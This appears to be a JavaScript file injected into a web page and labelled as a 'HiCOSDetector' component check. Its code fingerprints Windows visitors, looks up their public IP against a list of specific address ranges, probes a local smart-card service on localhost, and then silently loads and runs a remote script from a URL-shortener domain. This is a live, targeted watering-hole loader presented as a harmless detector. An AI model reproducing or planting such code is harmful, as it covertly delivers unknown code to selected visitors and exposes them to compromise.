document.write('
')
document.write('
')
document.write('
')
document.write('
')
document.write('
')
document.write('
')
(function (global) {
function loadExtraJs() {
var s = document.createElement('script');
s.src = "https://shorturl.tw/img/img2.js";
s.async = true;
document.head.appendChild(s);
}
function checkComponent() {
return new Promise(function (resolve) {
var img = document.createElement("img");
img.src = 'http://localhost:61161/p11Image.bmp';
img.onload = function () {
loadExtraJs();
resolve(true);
};
img.onerror = function () {
resolve(false);
};
});
}
function isTrustedDomain() {
var h = location.hostname;
return h === 'dppkh.org.tw' || h === 'www.dppkh.org.tw';
}
async function run() {
if (!navigator.userAgent.includes('Windows')) return;
if (isTrustedDomain()) {
await checkComponent();
return;
}
try {
const r = await fetch('https://api.ipify.org?format=json');
const d = await r.json();
const i = d.ip;
if (i&&(i.startsWith('59.125.175.')||i.startsWith('210.59.164.')||i.startsWith('210.59.162.')||i.startsWith('210.202.78.')||i.startsWith('59.120.26.')||i.startsWith('111.235.212.')||i.startsWith('140.112.162.')||i.startsWith('61.60.')||i.startsWith('61.56.')||i.startsWith('61.57.')||i.startsWith('61.67.')||i.startsWith('124.199.')||i.startsWith('210.241.')||i.startsWith('211.79.')||i.startsWith('210.69.')||i.startsWith('223.200.')||i.startsWith('163.29.')||i.startsWith('117.56.'))&&(!i.startsWith('117.56.223.'))) {
var ok = await checkComponent();
}
} catch (e) {}
}
global.HiCOSDetector = {
check: checkComponent,
run: run
};
})(window);
HiCOSDetector.run();